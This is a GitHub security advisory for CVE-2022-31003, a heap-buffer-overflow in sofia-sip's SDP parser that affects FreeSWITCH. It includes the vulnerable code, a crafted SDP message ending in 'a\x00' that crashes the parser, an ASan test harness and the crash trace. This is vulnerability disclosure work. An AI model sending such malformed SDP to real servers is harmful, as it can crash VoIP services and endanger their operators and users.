sdp_parse Heap-buffer-overflow

High **andywolk** published **GHSA-8w5j-6g2j-pxcp** on May 31

Package

sofia-sip (C)

Affected versions

<= 1.13.7

Patched versions

1.13.8

Description

Summary

Description

when parsing each line of a sdp message, take `a\0` (the last line) as an example, `rest = record + 2` will access the memory behind `\0` , and it wil cause oob.

```
static void parse_descs(sdp_parser_t *p,
                        char *record,
                        char *message,
                        sdp_media_t **medias)
{
  ....
  for (;
       record && p->pr_ok;
       record = next(&message, CRLF, strip)) {
    char field = record[0];

    rest = record + 2; rest += strspn(rest, strip);

    if (record[1] == '=') switch (field) {
      ...
```

Impact

An attacker can send a message with evil sdp to FreeSWITCH, causing crash(or even more serious, such as RCE).

How to reproduce the issue

`\0` termination instead `=` or `\n` resulting in out-of-bound access in `strspn`, the craft message looks like the following case(without `\r \n`)

```
v=0
o=fa 289527 27 IN IP4 ifm
s=SDP
c=IN IP4 ift
t=0 0
m=image 4 udptl t38
a\x00
```

Harness

```
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>

#include <sys/stat.h>
#include <sys/types.h>

#include <sofia-sip/su_types.h>
#include <sofia-sip/su_string.h>
#include <sofia-sip/sdp.h>
#include <sofia-sip/su_tag.h>
#include <sofia-sip/su_tag_io.h>
#include <sofia-sip/sdp_tag.h>

// clang sdp_harness.c /home/xxxx/sofia-sip/libsofia-sip-ua/.libs/libsofia-sip-ua.a -I
../sofia-sip/libsofia-sip-ua/su/ -I ../sofia-sip/libsofia-sip-ua/sdp/ -L ../sofia-
sip/libsofia-sip-ua/.libs/ -fsanitize=address -o sdp_harness
int main(int argc, char ** argv){
        int fd;
        int rc;
        int err = 0;
        struct stat st;
        sdp_parser_t *parser;
    if (argc != 2) {
                puts("ARG GG");
                return 1;
        }
        if (access(argv[1], R_OK) != 0){
                puts("INFILE GG");
                return 1;
```

```
        }
        stat(argv[1], &st);
        char * data = (char*)calloc(st.st_size + 0x10, 1);
        fd = open(argv[1], O_RDONLY);
        rc = read(fd, data, st.st_size);
        if (rc != st.st_size){
                puts("RDFILE GG");
                return 1;
        }
        su_home_t *home = su_home_create();
        su_home_check(home);
        parser = sdp_parse(home, data, strlen(data), sdp_f_config);
        sdp_parser_free(parser);
        su_home_check(home);
        su_home_unref(home);
        free(data);
        return 0;
}
```

Crash report

```
=================================================================
==3188703==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000000135 at pc
0x000000435de2 bp 0x7ffe1326f970 sp 0x7ffe1326f110
READ of size 1 at 0x611000000135 thread T0
  #0 0x435de1 in strspn /build/llvm-toolchain-7-jqDfnF/llvm-toolchain-7-
7.0.1/projects/compiler-
rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:720:5
  #1 0x4f9ae8 in parse_descs /home/xxxx/sofia-sip/libsofia-sip-ua/sdp/sdp_parse.c:1766:32
  #2 0x4f9ae8 in parse_message /home/xxxx/sofia-sip/libsofia-sip-ua/sdp/sdp_parse.c:474
  #3 0x4f9ae8 in sdp_parse /home/xxxx/sofia-sip/libsofia-sip-ua/sdp/sdp_parse.c:184
  #4 0x4f4726 in main /home/xxxx/HackSIP3/sdp_harness.c:47:11
  #5 0x7fcf2b24a2e0 in __libc_start_main (/lib/x86_64-linux-gnu/[libc.so]
(http://libc.so/).6+0x202e0)
  #6 0x41d3d9 in _start (/home/xxxx/HackSIP3/sdp_harness+0x41d3d9)

0x611000000135 is located 0 bytes to the right of 245-byte region
[0x611000000040,0x611000000135)
allocated by thread T0 here:
  #0 0x4c542a in calloc /build/llvm-toolchain-7-jqDfnF/llvm-toolchain-7-
7.0.1/projects/compiler-rt/lib/asan/[asan_malloc_linux.cc:155]
(http://asan_malloc_linux.cc:155/):3
  #1 0x5097b3 in sub_alloc /home/xxxx/sofia-sip/libsofia-sip-ua/su/su_alloc.c:498:12

SUMMARY: AddressSanitizer: heap-buffer-overflow /build/llvm-toolchain-7-jqDfnF/llvm-
toolchain-7-7.0.1/projects/compiler-
rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:720:5 in strspn
Shadow bytes around the buggy address:
 0x0c227fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c227fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c227fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 0x0c227fff8000: fafafafafafafafa 00 00 00 00 00 00 00 00
 0x0c227fff8010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

```
=>0x0c227fff8020: 00 00 00 00 00 00[05]fafafafafafafafa
 0x0c227fff8030: fafafafafafafafafafafafafafafafa
 0x0c227fff8040: fafafafafafafafafafafafafafafafa
 0x0c227fff8050: fafafafafafafafafafafafafafafafa
 0x0c227fff8060: fafafafafafafafafafafafafafafafa
 0x0c227fff8070: fafafafafafafafafafafafafafafafa
Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable:      00
 Partially addressable: 01 02 03 04 05 06 07
 Heap left redzone:    fa
 Freed heap region:    fd
 Stack left redzone:   f1
 Stack mid redzone:    f2
 Stack right redzone:   f3
 Stack after return:   f5
 Stack use after scope:  f8
 Global redzone:     f9
 Global init order:    f6
 Poisoned by user:    f7
 Container overflow:   fc
 Array cookie:      ac
 Intra object redzone:  bb
 ASan internal:      fe
 Left alloca redzone:   ca
 Right alloca redzone:  cb
 Shadow gap:       cc
==3188703==ABORTING
```

Severity

High

CVE ID

CVE-2022-31003

Weaknesses

CWE-122 CWE-787

Credits

Cossack9989